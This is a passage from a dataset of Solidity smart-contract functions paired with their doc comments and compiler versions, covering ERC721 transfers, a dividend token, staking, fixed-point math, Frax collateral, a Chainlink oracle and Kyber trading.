approved\"\r\n );\r\n _safeTransfer(from, to, tokenId, _data);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients\r\n * are aware of the ERC721 protocol to prevent tokens from being forever locked.\r\n *\r\n * `_data` is additional data, it has no specified format and it is sent in call to `to`.\r\n *\r\n * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.\r\n * implement alternative mechanisms to perform token transfer, such as signature-based.\r\n *\r\n * Requirements:\r\n *\r\n * - `from` cannot be the zero address.\r\n * - `to` cannot be the zero address.\r\n * - `tokenId` token must exist and be owned by `from`.\r\n * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\r\n *\r\n * Emits a {Transfer} event.\r\n */", "function_code": "function _safeTransfer(\r\n address from,\r\n address to,\r\n uint256 tokenId,\r\n bytes memory _data\r\n ) internal virtual {\r\n _transfer(from, to, tokenId);\r\n require(\r\n _checkOnERC721Received(from, to, tokenId, _data),\r\n \"ERC721: transfer to non ERC721Receiver implementer\"\r\n );\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @notice calculate user's interest due for new bond, accounting for Olympus Fee. \r\n If fee is in payout then takes in the already calcualted value. If fee is in principal token \r\n than takes in the amount of principal being deposited and then calculautes the fee based on\r\n the amount of principal and not in terms of the payout token\r\n * @param _value uint\r\n * @return _payout uint\r\n * @return _fee uint\r\n */", "function_code": "function payoutFor( uint _value ) public view returns ( uint _payout, uint _fee) {\r\n if(feeInPayout) {\r\n uint total = FixedPoint.fraction( _value, bondPrice() ).decode112with18().div( 1e11 );\r\n _fee = total.mul( currentOlympusFee() ).div( 1e6 );\r\n _payout = total.sub(_fee);\r\n } else {\r\n _fee = _value.mul( currentOlympusFee() ).div( 1e6 );\r\n _payout = FixedPoint.fraction( customTreasury.valueOfToken(address(principalToken), _value.sub(_fee)), bondPrice() ).decode112with18().div( 1e11 );\r\n }\r\n }", "version": "0.7.5"} {"comment": "/**\r\n * @notice current fee Olympus takes of each bond\r\n * @return currentFee_ uint\r\n */", "function_code": "function currentOlympusFee() public view returns( uint currentFee_ ) {\r\n uint tierLength = feeTiers.length;\r\n for(uint i; i < tierLength; i++) {\r\n if(totalPrincipalBonded < feeTiers[i].tierCeilings || i == tierLength - 1 ) {\r\n return feeTiers[i].fees;\r\n }\r\n }\r\n }", "version": "0.7.5"} {"comment": "// Issue a new amount of tokens\n// these tokens are deposited into the owner address\n//\n// @param _amount Number of tokens to be issued\n//function issue(uint amount) public onlyOwner {\n// require(_totalSupply + amount > _totalSupply);\n// require(balances[owner] + amount > balances[owner]);\n// balances[owner] += amount;\n// _totalSupply += amount;\n// Issue(amount);\n//}\n// Redeem tokens.\n// These tokens are withdrawn from the owner address\n// if the balance must be enough to cover the redeem\n// or the call will fail.\n// @param _amount Number of tokens to be issued\n//function redeem(uint amount) public onlyOwner {\n// require(_totalSupply >= amount);\n// require(balances[owner] >= amount);\n// _totalSupply -= amount;\n// balances[owner] -= amount;\n// Redeem(amount);\n//}", "function_code": "function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {\r\n // Ensure transparency by hardcoding limit beyond which fees can never be added\r\n require(newBasisPoints < 20);\r\n require(newMaxFee < 50);\r\n\r\n basisPointsRate = newBasisPoints;\r\n maximumFee = newMaxFee.mul(10**decimals);\r\n\r\n Params(basisPointsRate, maximumFee);\r\n }", "version": "0.4.17"} {"comment": "/**\r\n * Converts all of caller's dividends to tokens.\r\n */", "function_code": "function reinvest()\r\n onlyhodler()\r\n public\r\n {\r\n // fetch dividends\r\n uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code\r\n \r\n // pay out the dividends virtually\r\n address _customerAddress = msg.sender;\r\n payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);\r\n \r\n // retrieve ref. bonus\r\n _dividends += referralBalance_[_customerAddress];\r\n referralBalance_[_customerAddress] = 0;\r\n \r\n // dispatch a buy order with the virtualized \"withdrawn dividends\"\r\n uint256 _tokens = purchaseTokens(_dividends, 0x0);\r\n \r\n // fire event\r\n onReinvestment(_customerAddress, _dividends, _tokens);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * Withdraws all of the callers earnings.\r\n */", "function_code": "function withdraw()\r\n onlyhodler()\r\n public\r\n {\r\n // setup data\r\n address _customerAddress = msg.sender;\r\n uint256 _dividends = myDividends(false); // get ref. bonus later in the code\r\n \r\n // update dividend tracker\r\n payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);\r\n \r\n // add ref. bonus\r\n _dividends += referralBalance_[_customerAddress];\r\n referralBalance_[_customerAddress] = 0;\r\n \r\n // delivery service\r\n _customerAddress.transfer(_dividends);\r\n \r\n // fire event\r\n onWithdraw(_customerAddress, _dividends);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * Liquifies tokens to ethereum.\r\n */", "function_code": "function sell(uint256 _amountOfTokens)\r\n onlybelievers ()\r\n public\r\n {\r\n \r\n address _customerAddress = msg.sender;\r\n \r\n require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);\r\n uint256 _tokens = _amountOfTokens;\r\n uint256 _ethereum = tokensToEthereum_(_tokens);\r\n uint256 _dividends = SafeMath.div(_ethereum, dividendFee_);\r\n uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);\r\n \r\n // burn the sold tokens\r\n tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);\r\n tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);\r\n \r\n // update dividends tracker\r\n int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));\r\n payoutsTo_[_customerAddress] -= _updatedPayouts; \r\n \r\n // dividing by zero is a bad idea\r\n if (tokenSupply_ > 0) {\r\n // update the amount of dividends per token\r\n profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);\r\n }\r\n \r\n // fire event\r\n onTokenSell(_customerAddress, _tokens, _taxedEthereum);\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * Transfer tokens from the caller to a new holder.\r\n * Remember, there's a 10% fee here as well.\r\n */", "function_code": "function transfer(address _toAddress, uint256 _amountOfTokens)\r\n onlybelievers ()\r\n public\r\n returns(bool)\r\n {\r\n // setup\r\n address _customerAddress = msg.sender;\r\n \r\n // make sure we have the requested tokens\r\n \r\n require(!onlyAmbassadors && _amountOfTokens <= tokenBalanceLedger_[_customerAddress]);\r\n \r\n // withdraw all outstanding dividends first\r\n if(myDividends(true) > 0) withdraw();\r\n \r\n // liquify 10% of the tokens that are transfered\r\n // these are dispersed to shareholders\r\n uint256 _tokenFee = SafeMath.div(_amountOfTokens, dividendFee_);\r\n uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);\r\n uint256 _dividends = tokensToEthereum_(_tokenFee);\r\n \r\n // burn the fee tokens\r\n tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);\r\n\r\n // exchange tokens\r\n tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);\r\n tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);\r\n \r\n // update dividend trackers\r\n payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);\r\n payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);\r\n \r\n // disperse dividends among holders\r\n profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);\r\n \r\n // fire event\r\n Transfer(_customerAddress, _toAddress, _taxedTokens);\r\n \r\n // ERC20\r\n return true;\r\n \r\n }", "version": "0.4.26"} {"comment": "/**\r\n * Return the buy price of 1 individual token.\r\n */", "function_code": "function sellPrice() \r\n public \r\n view \r\n returns(uint256)\r\n {\r\n \r\n if(tokenSupply_ == 0){\r\n return tokenPriceInitial_ - tokenPriceIncremental_;\r\n } else {\r\n uint256 _ethereum = tokensToEthereum_(1e18);\r\n uint256 _dividends = SafeMath.div(_ethereum, dividendFee_ );\r\n uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);\r\n return _taxedEthereum;\r\n }\r\n }", "version": "0.4.26"} {"comment": "// fallback function invests in fundraiser\n// fee percentage is given to owner for providing this service\n// remainder is invested in fundraiser", "function_code": "function() payable {\r\n uint issuedTokens = msg.value * (100 - issueFeePercent) / 100;\r\n\r\n // invest 90% into fundraiser\r\n if(!fundraiserAddress.send(issuedTokens))\r\n throw;\r\n\r\n // pay 10% to owner\r\n if(!owner.send(msg.value - issuedTokens))\r\n throw;\r\n \r\n // issue tokens by increasing total supply and balance\r\n totalSupply += issuedTokens;\r\n balances[msg.sender] += issuedTokens;\r\n }", "version": "0.4.11"} {"comment": "/**\r\n * Calculate Token price based on an amount of incoming ethereum\r\n * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation;\r\n * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code.\r\n */", "function_code": "function ethereumToTokens_(uint256 _ethereum)\r\n internal\r\n view\r\n returns(uint256)\r\n {\r\n uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;\r\n uint256 _tokensReceived = \r\n (\r\n (\r\n // underflow attempts BTFO\r\n SafeMath.sub(\r\n (sqrt\r\n (\r\n (_tokenPriceInitial**2)\r\n +\r\n (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18))\r\n +\r\n (((tokenPriceIncremental_)**2)*(tokenSupply_**2))\r\n +\r\n (2*(tokenPriceIncremental_)*_tokenPriceInitial*tokenSupply_)\r\n )\r\n ), _tokenPriceInitial\r\n )\r\n )/(tokenPriceIncremental_)\r\n )-(tokenSupply_)\r\n ;\r\n \r\n return _tokensReceived;\r\n }", "version": "0.4.26"} {"comment": "/**\r\n * Calculate token sell value.\r\n */", "function_code": "function tokensToEthereum_(uint256 _tokens)\r\n internal\r\n view\r\n returns(uint256)\r\n {\r\n\r\n uint256 tokens_ = (_tokens + 1e18);\r\n uint256 _tokenSupply = (tokenSupply_ + 1e18);\r\n uint256 _etherReceived =\r\n (\r\n // underflow attempts BTFO\r\n SafeMath.sub(\r\n (\r\n (\r\n (\r\n tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18))\r\n )-tokenPriceIncremental_\r\n )*(tokens_ - 1e18)\r\n ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2\r\n )\r\n /1e18);\r\n return _etherReceived;\r\n }", "version": "0.4.26"} {"comment": "/**\r\n *\r\n * @dev mint tokens with the owner\r\n * @param init // the init batch\r\n * @param qty // qty for the batch\r\n **/", "function_code": "function mintTokens(uint256 init, uint256 qty) external onlyOwner {\r\n require(isActive, 'Contract is not active');\r\n require(totalSupply() < TOKEN_MAX, 'All tokens have been minted');\r\n require(init >= totalSupply() + 1, 'Must start from the last mint batch');\r\n uint256 i = init;\r\n do{\r\n _safeMint(msg.sender, i);\r\n unchecked { ++i; }\r\n }while(i <= qty);\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev Add a value to a set. O(1).\r\n *\r\n * Returns true if the value was added to the set, that is if it was not\r\n * already present.\r\n */", "function_code": "function _add(Set storage set, bytes32 value) private returns (bool) {\r\n if (!_contains(set, value)) {\r\n set._values.push(value);\r\n // The value is stored at length-1, but we add 1 to all indexes\r\n // and use 0 as a sentinel value\r\n set._indexes[value] = set._values.length;\r\n return true;\r\n } else {\r\n return false;\r\n }\r\n }", "version": "0.8.7"} {"comment": "/*\r\n * @dev End the staking pool\r\n */", "function_code": "function end() public onlyOwner returns (bool){\r\n require(!ended, \"Staking already ended\");\r\n address _aux;\r\n \r\n for(uint i = 0; i < holders.length(); i = i.add(1)){\r\n _aux = holders.at(i);\r\n rewardEnded[_aux] = getPendingRewards(_aux);\r\n unclaimed[_aux] = 0;\r\n stakingTime[_aux] = block.timestamp;\r\n progressiveTime[_aux] = block.timestamp;\r\n alreadyProgUnstaked[_aux] = 0;\r\n amountPerInterval[_aux] = depositedTokens[_aux].div(number_intervals);\r\n }\r\n \r\n ended = true;\r\n endTime = block.timestamp;\r\n return true;\r\n }", "version": "0.8.7"} {"comment": "/*\r\n * @dev Max amount withdrawable on basis on time\r\n */", "function_code": "function getMaxAmountWithdrawable(address _staker) public view returns(uint){\r\n uint _res = 0;\r\n if(block.timestamp.sub(stakingTime[msg.sender]) < unstakeTime && !ended && alreadyProgUnstaked[_staker] == 0){\r\n _res = 0;\r\n }else if(alreadyProgUnstaked[_staker] == 0 && !ended){\r\n \r\n if(block.timestamp.sub(stakingTime[msg.sender]) > unstakeTime){\r\n _res = depositedTokens[_staker].div(number_intervals);\r\n }\r\n \r\n }else{\r\n uint _time = progressiveTime[_staker];\r\n \r\n if(block.timestamp < _time.add(duration_interval)){\r\n _res = 0;\r\n }else{\r\n \r\n \r\n uint _numIntervals = (block.timestamp.sub(_time)).div(duration_interval);\r\n \r\n if(_numIntervals == 0){\r\n return 0;\r\n }\r\n if(!ended){\r\n _numIntervals = _numIntervals.add(1);\r\n }\r\n \r\n \r\n if(_numIntervals > number_intervals){\r\n _numIntervals = number_intervals;\r\n }\r\n \r\n if(_numIntervals.mul(amountPerInterval[_staker]) > alreadyProgUnstaked[_staker]){\r\n _res = _numIntervals.mul(amountPerInterval[_staker]).sub(alreadyProgUnstaked[_staker]);\r\n }else{\r\n _res = 0;\r\n }\r\n }\r\n \r\n \r\n }\r\n\r\n return _res;\r\n }", "version": "0.8.7"} {"comment": "/*\r\n * @dev Progressive Unstaking (Second, third, fourth... Progressive withdraws)\r\n */", "function_code": "function withdraw2(uint amountToWithdraw) public returns (bool){\r\n require(holders.contains(msg.sender), \"Not a staker\");\r\n require(amountToWithdraw <= getMaxAmountWithdrawable(msg.sender), \"Maximum reached\");\r\n require(alreadyProgUnstaked[msg.sender] > 0 || ended, \"Use withdraw first\");\r\n \r\n alreadyProgUnstaked[msg.sender] = alreadyProgUnstaked[msg.sender].add(amountToWithdraw);\r\n \r\n uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);\r\n uint amountAfterFee = amountToWithdraw.sub(fee);\r\n \r\n updateAccount(msg.sender, false, true);\r\n \r\n require(Token(tokenDepositAddress).transfer(owner, fee), \"Could not transfer withdraw fee.\");\r\n require(Token(tokenDepositAddress).transfer(msg.sender, amountAfterFee), \"Could not transfer tokens.\");\r\n \r\n depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);\r\n availablePoolSize = availablePoolSize.add(amountToWithdraw);\r\n totalDeposited = totalDeposited.sub(amountToWithdraw);\r\n \r\n if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0 && getPendingRewards(msg.sender) == 0) {\r\n holders.remove(msg.sender);\r\n firstTime[msg.sender] = 0;\r\n }\r\n return true;\r\n }", "version": "0.8.7"} {"comment": "/*\r\n * @dev Progressive Unstaking (First withdraw)\r\n */", "function_code": "function withdraw(uint amountToWithdraw) public returns (bool){\r\n require(holders.contains(msg.sender), \"Not a staker\");\r\n require(alreadyProgUnstaked[msg.sender] == 0 && !ended , \"Use withdraw2 function\");\r\n amountPerInterval[msg.sender] = depositedTokens[msg.sender].div(number_intervals);\r\n require(depositedTokens[msg.sender].div(number_intervals) >= amountToWithdraw, \"Invalid amount to withdraw\");\r\n alreadyProgUnstaked[msg.sender] = amountToWithdraw;\r\n require(block.timestamp.sub(stakingTime[msg.sender]) > unstakeTime || ended, \"You recently staked, please wait before withdrawing.\");\r\n \r\n \r\n \r\n updateAccount(msg.sender, false, true);\r\n \r\n uint fee = amountToWithdraw.mul(unstakingFeeRate).div(1e4);\r\n uint amountAfterFee = amountToWithdraw.sub(fee);\r\n \r\n require(Token(tokenDepositAddress).transfer(owner, fee), \"Could not transfer withdraw fee.\");\r\n require(Token(tokenDepositAddress).transfer(msg.sender, amountAfterFee), \"Could not transfer tokens.\");\r\n \r\n depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw);\r\n availablePoolSize = availablePoolSize.add(amountToWithdraw);\r\n totalDeposited = totalDeposited.sub(amountToWithdraw);\r\n \r\n progressiveTime[msg.sender] = block.timestamp;\r\n \r\n return true;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * Calculate x * y rounding down. Revert on overflow.\r\n *\r\n * @param x signed 64.64-bit fixed point number\r\n * @param y signed 64.64-bit fixed point number\r\n * @return signed 64.64-bit fixed point number\r\n */", "function_code": "function mul (int128 x, int128 y) internal pure returns (int128) {\r\n int256 result = int256(x) * y >> 64;\r\n require (result >= MIN_64x64 && result <= MAX_64x64);\r\n return int128 (result);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * Calculate x * y rounding towards zero, where x is signed 64.64 fixed point\r\n * number and y is signed 256-bit integer number. Revert on overflow.\r\n *\r\n * @param x signed 64.64 fixed point number\r\n * @param y signed 256-bit integer number\r\n * @return signed 256-bit integer number\r\n */", "function_code": "function muli (int128 x, int256 y) internal pure returns (int256) {\r\n if (x == MIN_64x64) {\r\n require (y >= -0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF &&\r\n y <= 0x1000000000000000000000000000000000000000000000000);\r\n return -y << 63;\r\n } else {\r\n bool negativeResult = false;\r\n if (x < 0) {\r\n x = -x;\r\n negativeResult = true;\r\n }\r\n if (y < 0) {\r\n y = -y; // We rely on overflow behavior here\r\n negativeResult = !negativeResult;\r\n }\r\n uint256 absoluteResult = mulu (x, uint256 (y));\r\n if (negativeResult) {\r\n require (absoluteResult <=\r\n 0x8000000000000000000000000000000000000000000000000000000000000000);\r\n return -int256 (absoluteResult); // We rely on overflow behavior here\r\n } else {\r\n require (absoluteResult <=\r\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\r\n return int256 (absoluteResult);\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * Calculate x / y rounding towards zero. Revert on overflow or when y is\r\n * zero.\r\n *\r\n * @param x signed 64.64-bit fixed point number\r\n * @param y signed 64.64-bit fixed point number\r\n * @return signed 64.64-bit fixed point number\r\n */", "function_code": "function div (int128 x, int128 y) internal pure returns (int128) {\r\n require (y != 0);\r\n int256 result = (int256 (x) << 64) / y;\r\n require (result >= MIN_64x64 && result <= MAX_64x64);\r\n return int128 (result);\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * Calculate x / y rounding towards zero, where x and y are signed 256-bit\r\n * integer numbers. Revert on overflow or when y is zero.\r\n *\r\n * @param x signed 256-bit integer number\r\n * @param y signed 256-bit integer number\r\n * @return signed 64.64-bit fixed point number\r\n */", "function_code": "function divi (int256 x, int256 y) internal pure returns (int128) {\r\n require (y != 0);\r\n\r\n bool negativeResult = false;\r\n if (x < 0) {\r\n x = -x; // We rely on overflow behavior here\r\n negativeResult = true;\r\n }\r\n if (y < 0) {\r\n y = -y; // We rely on overflow behavior here\r\n negativeResult = !negativeResult;\r\n }\r\n uint128 absoluteResult = divuu (uint256 (x), uint256 (y));\r\n if (negativeResult) {\r\n require (absoluteResult <= 0x80000000000000000000000000000000);\r\n return -int128 (absoluteResult); // We rely on overflow behavior here\r\n } else {\r\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\r\n return int128 (absoluteResult); // We rely on overflow behavior here\r\n }\r\n }", "version": "0.6.12"} {"comment": "// NOTE: we return and unscaled integer between roughly\n// 8 and 135 to approximate the gas fee for the\n// velocity transaction", "function_code": "function calc_fee_gas(\n uint256 max_gas_block,\n uint256 min_gas_tx,\n uint256 ema_long,\n uint256 tx_size,\n uint256 total_supply,\n uint256 _gov_fee_factor\n ) public pure returns (uint256) {\n uint256 max_gas_chi_per_block = max_gas_block;\n uint256 min_gas_chi_fee_per_tx = min_gas_tx;\n\n uint256 tx_fee_ratio_disc =\n calc_fee_ratio_discrete(0, ema_long, tx_size, total_supply, _gov_fee_factor);\n\n uint256 tx_fee_chi_disc =\n max_gas_chi_per_block * tx_fee_ratio_disc / 100 / 10**18;\n\n if ( tx_fee_chi_disc < min_gas_chi_fee_per_tx ) {\n tx_fee_chi_disc = min_gas_chi_fee_per_tx;\n }\n\n return tx_fee_chi_disc;\n }", "version": "0.5.17"} {"comment": "/**\r\n * Calculate geometric average of x and y, i.e. sqrt (x * y) rounding down.\r\n * Revert on overflow or in case x * y is negative.\r\n *\r\n * @param x signed 64.64-bit fixed point number\r\n * @param y signed 64.64-bit fixed point number\r\n * @return signed 64.64-bit fixed point number\r\n */", "function_code": "function gavg (int128 x, int128 y) internal pure returns (int128) {\r\n int256 m = int256 (x) * int256 (y);\r\n require (m >= 0);\r\n require (m <\r\n 0x4000000000000000000000000000000000000000000000000000000000000000);\r\n return int128 (sqrtu (uint256 (m), uint256 (x) + uint256 (y) >> 1));\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * Calculate x^y assuming 0^0 is 1, where x is signed 64.64 fixed point number\r\n * and y is unsigned 256-bit integer number. Revert on overflow.\r\n *\r\n * @param x signed 64.64-bit fixed point number\r\n * @param y uint256 value\r\n * @return signed 64.64-bit fixed point number\r\n */", "function_code": "function pow (int128 x, uint256 y) internal pure returns (int128) {\r\n uint256 absoluteResult;\r\n bool negativeResult = false;\r\n if (x >= 0) {\r\n absoluteResult = powu (uint256 (x) << 63, y);\r\n } else {\r\n // We rely on overflow behavior here\r\n absoluteResult = powu (uint256 (uint128 (-x)) << 63, y);\r\n negativeResult = y & 1 > 0;\r\n }\r\n\r\n absoluteResult >>= 63;\r\n\r\n if (negativeResult) {\r\n require (absoluteResult <= 0x80000000000000000000000000000000);\r\n return -int128 (absoluteResult); // We rely on overflow behavior here\r\n } else {\r\n require (absoluteResult <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF);\r\n return int128 (absoluteResult); // We rely on overflow behavior here\r\n }\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * Calculate natural exponent of x. Revert on overflow.\r\n *\r\n * @param x signed 64.64-bit fixed point number\r\n * @return signed 64.64-bit fixed point number\r\n */", "function_code": "function exp (int128 x) internal pure returns (int128) {\r\n require (x < 0x400000000000000000); // Overflow\r\n\r\n if (x < -0x400000000000000000) return 0; // Underflow\r\n\r\n return exp_2 (\r\n int128 (int256 (x) * 0x171547652B82FE1777D0FFDA0D23A7D12 >> 128));\r\n }", "version": "0.6.12"} {"comment": "/**\r\n * Calculate sqrt (x) rounding down, where x is unsigned 256-bit integer\r\n * number.\r\n *\r\n * @param x unsigned 256-bit integer number\r\n * @return unsigned 128-bit integer number\r\n */", "function_code": "function sqrtu (uint256 x, uint256 r) private pure returns (uint128) {\r\n if (x == 0) return 0;\r\n else {\r\n require (r > 0);\r\n while (true) {\r\n uint256 rr = x / r;\r\n if (r == rr || r + 1 == rr) return uint128 (r);\r\n else if (r == rr + 1) return uint128 (rr);\r\n r = r + rr + 1 >> 1;\r\n }\r\n }\r\n }", "version": "0.6.12"} {"comment": "// Must be internal because of the struct", "function_code": "function calcMintFractionalFRAX(MintFF_Params memory params) internal pure returns (uint256, uint256) {\n // Since solidity truncates division, every division operation must be the last operation in the equation to ensure minimum error\n // The contract must check the proper ratio was sent to mint FRAX. We do this by seeing the minimum mintable FRAX based on each amount \n uint256 fxs_dollar_value_d18;\n uint256 c_dollar_value_d18;\n \n // Scoping for stack concerns\n { \n // USD amounts of the collateral and the FXS\n fxs_dollar_value_d18 = params.fxs_amount.mul(params.fxs_price_usd).div(1e6);\n c_dollar_value_d18 = params.collateral_amount.mul(params.col_price_usd).div(1e6);\n\n }\n uint calculated_fxs_dollar_value_d18 = \n (c_dollar_value_d18.mul(1e6).div(params.col_ratio))\n .sub(c_dollar_value_d18);\n\n uint calculated_fxs_needed = calculated_fxs_dollar_value_d18.mul(1e6).div(params.fxs_price_usd);\n\n return (\n c_dollar_value_d18.add(calculated_fxs_dollar_value_d18),\n calculated_fxs_needed\n );\n }", "version": "0.8.6"} {"comment": "/**\r\n * @notice Called when LINK is sent to the contract via `transferAndCall`\r\n * @dev The data payload's first 2 words will be overwritten by the `_sender` and `_amount`\r\n * values to ensure correctness. Calls oracleRequest.\r\n * @param _sender Address of the sender\r\n * @param _amount Amount of LINK sent (specified in wei)\r\n * @param _data Payload of the transaction\r\n */", "function_code": "function onTokenTransfer(\r\n address _sender,\r\n uint256 _amount,\r\n bytes _data\r\n )\r\n public\r\n onlyLINK\r\n validRequestLength(_data)\r\n permittedFunctionsForLINK(_data)\r\n {\r\n assembly { // solhint-disable-line no-inline-assembly\r\n mstore(add(_data, 36), _sender) // ensure correct sender is passed\r\n mstore(add(_data, 68), _amount) // ensure correct amount is passed\r\n }\r\n // solhint-disable-next-line avoid-low-level-calls\r\n require(address(this).delegatecall(_data), \"Unable to create request\"); // calls oracleRequest\r\n }", "version": "0.4.24"} {"comment": "// Returns value of collateral that must increase to reach recollateralization target (if 0 means no recollateralization)", "function_code": "function recollateralizeAmount(uint256 total_supply, uint256 global_collateral_ratio, uint256 global_collat_value) public pure returns (uint256) {\n uint256 target_collat_value = total_supply.mul(global_collateral_ratio).div(1e6); // We want 18 decimals of precision so divide by 1e6; total_supply is 1e18 and global_collateral_ratio is 1e6\n // Subtract the current value of collateral from the target value needed, if higher than 0 then system needs to recollateralize\n return target_collat_value.sub(global_collat_value); // If recollateralization is not needed, throws a subtraction underflow\n // return(recollateralization_left);\n }", "version": "0.8.6"} {"comment": "/// @notice use token address ETH_TOKEN_ADDRESS for ether\n/// @dev makes a trade between src and dest token and send dest token to destAddress\n/// @param src Src token\n/// @param srcAmount amount of src tokens\n/// @param dest Destination token\n/// @param destAddress Address to send tokens to\n/// @param maxDestAmount A limit on the amount of dest tokens\n/// @param minConversionRate The minimal conversion rate. If actual rate is lower, trade is canceled.\n/// @param walletId is the wallet ID to send part of the fees\n/// @return amount of actual dest tokens", "function_code": "function trade(\r\n ERC20 src,\r\n uint srcAmount,\r\n ERC20 dest,\r\n address destAddress,\r\n uint maxDestAmount,\r\n uint minConversionRate,\r\n address walletId\r\n )\r\n public\r\n payable\r\n returns(uint)\r\n {\r\n require(enabled);\r\n\r\n uint userSrcBalanceBefore;\r\n uint userSrcBalanceAfter;\r\n uint userDestBalanceBefore;\r\n uint userDestBalanceAfter;\r\n\r\n userSrcBalanceBefore = getBalance(src, msg.sender);\r\n if (src == ETH_TOKEN_ADDRESS)\r\n userSrcBalanceBefore += msg.value;\r\n userDestBalanceBefore = getBalance(dest, destAddress);\r\n\r\n uint actualDestAmount = doTrade(src,\r\n srcAmount,\r\n dest,\r\n destAddress,\r\n maxDestAmount,\r\n minConversionRate,\r\n walletId\r\n );\r\n require(actualDestAmount > 0);\r\n\r\n userSrcBalanceAfter = getBalance(src, msg.sender);\r\n userDestBalanceAfter = getBalance(dest, destAddress);\r\n\r\n require(userSrcBalanceAfter <= userSrcBalanceBefore);\r\n require(userDestBalanceAfter >= userDestBalanceBefore);\r\n\r\n require((userDestBalanceAfter - userDestBalanceBefore) >=\r\n calcDstQty((userSrcBalanceBefore - userSrcBalanceAfter), getDecimals(src), getDecimals(dest),\r\n minConversionRate));\r\n\r\n return actualDestAmount;\r\n }", "version": "0.4.18"} {"comment": "/// @notice can be called only by admin\n/// @dev add or deletes a reserve to/from the network.\n/// @param reserve The reserve address.\n/// @param add If true, the add reserve. Otherwise delete reserve.", "function_code": "function addReserve(KyberReserveInterface reserve, bool add) public onlyAdmin {\r\n\r\n if (add) {\r\n require(!isReserve[reserve]);\r\n reserves.push(reserve);\r\n isReserve[reserve] = true;\r\n AddReserveToNetwork(reserve, true);\r\n } else {\r\n isReserve[reserve] = false;\r\n // will have trouble if more than 50k reserves...\r\n for (uint i = 0; i < reserves.length; i++) {\r\n if (reserves[i] == reserve) {\r\n reserves[i] = reserves[reserves.length - 1];\r\n reserves.length--;\r\n AddReserveToNetwork(reserve, false);\r\n break;\r\n }\r\n }\r\n }\r\n }", "version": "0.4.18"} {"comment": "/// @notice can be called only by admin\n/// @dev allow or prevent a specific reserve to trade a pair of tokens\n/// @param reserve The reserve address.\n/// @param src Src token\n/// @param dest Destination token\n/// @param add If true then enable trade, otherwise delist pair.", "function_code": "function listPairForReserve(address reserve, ERC20 src, ERC20 dest, bool add) public onlyAdmin {\r\n (perReserveListedPairs[reserve])[keccak256(src, dest)] = add;\r\n\r\n if (src != ETH_TOKEN_ADDRESS) {\r\n if (add) {\r\n src.approve(reserve, 2**255); // approve infinity\r\n } else {\r\n src.approve(reserve, 0);\r\n }\r\n }\r\n\r\n setDecimals(src);\r\n setDecimals(dest);\r\n\r\n ListReservePairs(reserve, src, dest, add);\r\n }", "version": "0.4.18"} {"comment": "/// @notice use token address ETH_TOKEN_ADDRESS for ether\n/// @dev do one trade with a reserve\n/// @param src Src token\n/// @param amount amount of src tokens\n/// @param dest Destination token\n/// @param destAddress Address to send tokens to\n/// @param reserve Reserve to use\n/// @param validate If true, additional validations are applicable\n/// @return true if trade is successful", "function_code": "function doReserveTrade(\r\n ERC20 src,\r\n uint amount,\r\n ERC20 dest,\r\n address destAddress,\r\n uint expectedDestAmount,\r\n KyberReserveInterface reserve,\r\n uint conversionRate,\r\n bool validate\r\n )\r\n internal\r\n returns(bool)\r\n {\r\n uint callValue = 0;\r\n\r\n if (src == ETH_TOKEN_ADDRESS) {\r\n callValue = amount;\r\n } else {\r\n // take src tokens to this contract\r\n src.transferFrom(msg.sender, this, amount);\r\n }\r\n\r\n // reserve sends tokens/eth to network. network sends it to destination\r\n require(reserve.trade.value(callValue)(src, amount, dest, this, conversionRate, validate));\r\n\r\n if (dest == 